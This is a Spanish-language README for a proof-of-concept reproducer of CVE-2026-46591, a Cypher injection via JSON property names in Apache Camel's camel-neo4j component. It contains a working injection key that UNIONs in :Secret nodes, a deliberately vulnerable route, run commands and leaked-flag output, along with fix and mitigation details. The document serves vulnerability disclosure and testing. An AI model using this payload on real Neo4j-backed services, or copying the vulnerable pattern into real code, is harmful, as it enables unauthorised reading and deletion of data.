
Reproductor para CVE-2026-46591: Apache Camel camel-neo4j inyección de Cypher a través de nombres de propiedades en CamelNeo4jMatchProperties, que permite bypass de autorización / exfiltración de datos entre etiquetas (corregido en 4.14.8/4.18.3/4.21.0)
Este proyecto demuestra una inyección Cypher en el componente camel-neo4j de Apache Camel, registrada como CVE-2026-46591. El productor construye la cláusula WHERE de Cypher para sus operaciones de coincidencia/recuperación y eliminación a partir del mapa CamelNeo4jMatchProperties. CVE-2025-66169 abordó la inyección a través de los valores de las propiedades vinculándolos como parámetros de consulta ($paramN) — pero los nombres de las propiedades (las claves JSON de ese mapa) todavía se concatenan literalmente en la cadena de consulta en Neo4jProducer.retrieveNodes() y deleteNode(). Por lo tanto, un nombre de propiedad que contenga sintaxis Cypher altera la estructura de la consulta ejecutada.
Este PoC demuestra el impacto como bypass de autorización / exfiltración de datos: un atacante coloca Cypher en una clave JSON para que una búsqueda de :Person sea reescrita (mediante UNION) para también devolver un nodo :Secret que nunca debió tocar — coincidiendo con la descripción del aviso "leer, modificar o eliminar cualquier nodo o relación".
Aviso: https://camel.apache.org/security/CVE-2026-46591.html
Seguimiento de remediación incompleta de CVE-2025-66169 (CAMEL-22719) que parametrizó los valores pero dejó interpolados los nombres de las propiedades. Misma familia adyacente a inyección de cabeceras que CVE-2025-27636, CVE-2026-40453, etc.
// Neo4jProducer.retrieveNodes (afectado 4.18.2) — el VALOR es un parámetro, el NOMBRE se concatena literalmente:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (la clave JSON) sin escapar
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // el valor está vinculado de forma segura
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
Con el mapa benigno {"name":"alice"} la consulta es
MATCH (n:Person) WHERE n.name = $param0 RETURN n. Con una clave maliciosa:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
la consulta construida se convierte en (el // = $param0 RETURN n final de la plantilla se comenta):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
por lo que la respuesta contiene el nodo :Person del llamante y el nodo :Secret.
La corrección (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) añade validación estricta de nombres de propiedades (^[A-Za-z_][A-Za-z0-9_]*$) tanto en retrieveNodes() como en deleteNode(), rechazando cualquier nombre que no coincida con un Neo4jOperationException.
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // el cuerpo JSON no confiable se convierte en el mapa de coincidencia
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
Una API de "buscar una persona por propiedades": el cliente proporciona los criterios de coincidencia como JSON, y la ruta lo entrega al productor como CamelNeo4jMatchProperties. El grafo contiene dos nodos :Person más un nodo :Secret cuyo value una búsqueda de persona nunca debe devolver.
La víctima es la ruta Camel y su base de datos Neo4j; el atacante es un cliente HTTP que coloca Cypher en una clave JSON. Un pequeño sembrador planta los nodos y controla el inicio hasta que Neo4j esté listo.
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + la aplicación
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / credenciales / flag secreto
│ ├── Neo4jConfig.java # el bean Driver de Neo4j (referenciado como #neo4jDriver)
│ ├── Neo4jSeeder.java # espera a Neo4j, siembra nodos :Person + :Secret
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # atacante: legítimo vs Cypher en la clave JSON
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # el primer inicio descarga la imagen neo4j de ~1GB
# esperar a la línea de log "Started Application", luego:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
Cualquier ruta que lleve datos no confiables a CamelNeo4jMatchProperties para una operación RETRIEVE_NODES o DELETE_NODE. Más allá de leer otras etiquetas mediante UNION, una clave inyectada puede añadir cláusulas SET/DELETE/DETACH DELETE para modificar o destruir nodos y relaciones arbitrarios.
Actualizar a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). Tras la corrección, los nombres de propiedades se validan contra ^[A-Za-z_][A-Za-z0-9_]*$ antes de colocarlos en la consulta.
Hasta que se actualice, no poblar CamelNeo4jMatchProperties desde entrada no confiable: validar o permitir los nombres de propiedades (por ejemplo contra ^[A-Za-z_][A-Za-z0-9_]*$) antes del productor Neo4j, y asegurar que cualquier consumidor que alimente dicha ruta filtre las cabeceras entrantes Camel* / camel* para que la cabecera de coincidencia no pueda ser suministrada por un emisor externo.
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-neo4j |
| Clase afectada | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (nombre de propiedad interpolado en la cláusula WHERE) |
| CWE | CWE-943 (Neutralización incorrecta de elementos especiales en la lógica de consulta de datos) |
| Impacto | Inyección Cypher → lectura / modificación / eliminación de nodos y relaciones arbitrarios |
| Precondiciones | Una ruta asigna entradas no confiables al mapa CamelNeo4jMatchProperties (por ejemplo, el cuerpo de la solicitud); la cabecera tiene prefijo Camel, por lo que un cliente HTTP simple no puede establecerla directamente |
| Versiones afectadas | Desde 4.10.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| Crédito | Yu Bao (PayPal) |